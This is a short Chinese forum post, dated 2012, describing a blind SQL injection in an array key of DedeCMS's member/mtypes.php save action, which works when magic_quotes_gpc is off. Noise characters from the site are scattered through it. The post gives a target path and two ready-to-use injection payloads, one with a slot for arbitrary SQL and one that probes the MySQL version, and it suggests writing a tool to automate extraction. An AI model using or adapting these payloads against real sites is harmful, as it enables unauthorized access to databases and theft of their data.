需要magic_quotes_gpc = Off,所以说是鸡肋啊.
+ B2 h4 S+ B+ c' L- z& o
8 G- h2 x+ d9 d& u 1 ^/ k. l* p' |( V/ `4 }
发生在数组key里的注射漏洞,有点意思.
0 v- m8 a8 Y2 ?$ G0 w9 K 2 K2 e7 m* O, P' v2 M6 T" U' A
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下( Q( ?/ R/ k5 p3 F
8 ~$ N! q j+ n9 k. khttp://www.xxx.com /dede/member/mtypes.php?dopost=save" e# l& J7 ~1 M- g& W
+ l( k: H9 n q# ^% I& s
exploit:
7 J& M+ r Z$ ?mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r: E. z2 |# i7 s- [* s
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
+ ~( l2 o n. ?: w6 y$ h* E |
发表于 2012-12-20 08:08:09
收藏
支持
反对